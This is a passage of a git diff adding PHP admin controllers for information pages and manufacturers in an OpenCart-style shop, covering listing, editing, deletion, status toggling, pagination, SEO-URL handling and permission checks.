+++ b/public/admin/controller/catalog/information.php
@@ -0,0 +1,606 @@
+load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_information->addInformation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_information->editInformation($this->request->get['information_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/information');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->deleteInformation($information_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'id.title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/information/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/information/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/information/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/information/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['informations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $information_total = $this->model_catalog_information->getTotalInformations();
+
+ $results = $this->model_catalog_information->getInformations($filter_data);
+
+ foreach ($results as $result) {
+ $data['informations'][] = array(
+ 'information_id' => $result['information_id'],
+ 'title' => $result['title'],
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=information/information&information_id=' . ($result['information_id']),
+ 'edit' => $this->url->link('catalog/information/edit', 'user_token=' . $this->session->data['user_token'] . '&information_id=' . $result['information_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=id.title' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=i.sort_order' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . '&sort=i.noindex' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $information_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($information_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($information_total - $this->config->get('config_limit_admin'))) ? $information_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $information_total, ceil($information_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/information_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['information_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['information_id'])) {
+ $data['action'] = $this->url->link('catalog/information/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/information/edit', 'user_token=' . $this->session->data['user_token'] . '&information_id=' . $this->request->get['information_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['information_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $information_info = $this->model_catalog_information->getInformation($this->request->get['information_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['information_description'])) {
+ $data['information_description'] = $this->request->post['information_description'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_description'] = $this->model_catalog_information->getInformationDescriptions($this->request->get['information_id']);
+ } else {
+ $data['information_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['information_description'][$language_id]['title'])) {
+ $data['heading_title'] = $data['information_description'][$language_id]['title'];
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['information_store'])) {
+ $data['information_store'] = $this->request->post['information_store'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_store'] = $this->model_catalog_information->getInformationStores($this->request->get['information_id']);
+ } else {
+ $data['information_store'] = array(0);
+ }
+
+ if (isset($this->request->post['bottom'])) {
+ $data['bottom'] = $this->request->post['bottom'];
+ } elseif (!empty($information_info)) {
+ $data['bottom'] = $information_info['bottom'];
+ } else {
+ $data['bottom'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($information_info)) {
+ $data['status'] = $information_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($information_info)) {
+ $data['noindex'] = $information_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($information_info)) {
+ $data['sort_order'] = $information_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['information_seo_url'])) {
+ $data['information_seo_url'] = $this->request->post['information_seo_url'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_seo_url'] = $this->model_catalog_information->getInformationSeoUrls($this->request->get['information_id']);
+ } else {
+ $data['information_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['information_layout'])) {
+ $data['information_layout'] = $this->request->post['information_layout'];
+ } elseif (isset($this->request->get['information_id'])) {
+ $data['information_layout'] = $this->model_catalog_information->getInformationLayouts($this->request->get['information_id']);
+ } else {
+ $data['information_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/information_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['information_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 1) || (utf8_strlen($value['title']) > 64)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (utf8_strlen($value['description']) < 3) {
+ $this->error['description'][$language_id] = $this->language->get('error_description');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['information_seo_url']) && is_array($this->request->post['information_seo_url'])) {
+ foreach ($this->request->post['information_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['information_description'])) {
+ foreach ($this->request->post['information_description'] as $language_id => $value) {
+ if (!empty($value['title'])) {
+ if (!isset($this->request->post['information_seo_url'][0][$language_id]) || trim($this->request->post['information_seo_url'][0][$language_id]) === '') {
+ $this->request->post['information_seo_url'][0][$language_id] = translit($value['title']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['information_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['information_id']) || ($seo_url['query'] != 'information_id=' . $this->request->get['information_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/information');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/information');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->editInformationStatus($information_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('catalog/information');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/information');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $information_id) {
+ $this->model_catalog_information->editInformationStatus($information_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+
+ foreach ($this->request->post['selected'] as $information_id) {
+ if ($this->config->get('config_account_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_account');
+ }
+
+ if ($this->config->get('config_checkout_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_checkout');
+ }
+
+ if ($this->config->get('config_affiliate_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_affiliate');
+ }
+
+ if ($this->config->get('config_return_id') == $information_id) {
+ $this->error['warning'] = $this->language->get('error_return');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByInformationId($information_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/catalog/manufacturer.php b/public/admin/controller/catalog/manufacturer.php
new file mode 100644
index 0000000..dd2963a
--- /dev/null
+++ b/public/admin/controller/catalog/manufacturer.php
@@ -0,0 +1,584 @@
+load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_manufacturer->addManufacturer($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_manufacturer->editManufacturer($this->request->get['manufacturer_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/manufacturer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/manufacturer');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $manufacturer_id) {
+ $this->model_catalog_manufacturer->deleteManufacturer($manufacturer_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/manufacturer/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['manufacturers'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $manufacturer_total = $this->model_catalog_manufacturer->getTotalManufacturers();
+
+ $results = $this->model_catalog_manufacturer->getManufacturers($filter_data);
+
+ foreach ($results as $result) {
+ $data['manufacturers'][] = array(
+ 'manufacturer_id' => $result['manufacturer_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/manufacturer/info&manufacturer_id=' . ($result['manufacturer_id']),
+ 'edit' => $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $result['manufacturer_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . '&sort=noindex' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $manufacturer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($manufacturer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($manufacturer_total - $this->config->get('config_limit_admin'))) ? $manufacturer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $manufacturer_total, ceil($manufacturer_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/manufacturer_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['manufacturer_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['manufacturer_id'])) {
+ $data['action'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/manufacturer/edit', 'user_token=' . $this->session->data['user_token'] . '&manufacturer_id=' . $this->request->get['manufacturer_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['manufacturer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $manufacturer_info = $this->model_catalog_manufacturer->getManufacturer($this->request->get['manufacturer_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+ if (isset($this->request->post['manufacturer_description'])) {
+ $data['manufacturer_description'] = $this->request->post['manufacturer_description'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_description'] = $this->model_catalog_manufacturer->getManufacturerDescriptions($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_description'] = array();
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['name'] = $manufacturer_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (!empty($manufacturer_info)) {
+ $data['heading_title'] = $data['name'] = $manufacturer_info['name'];
+ } else {
+ $data['heading_title'] = $this->language->get('heading_title');
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['manufacturer_store'])) {
+ $data['manufacturer_store'] = $this->request->post['manufacturer_store'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_store'] = $this->model_catalog_manufacturer->getManufacturerStores($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['image'] = $manufacturer_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($manufacturer_info) && is_file(DIR_IMAGE . $manufacturer_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($manufacturer_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
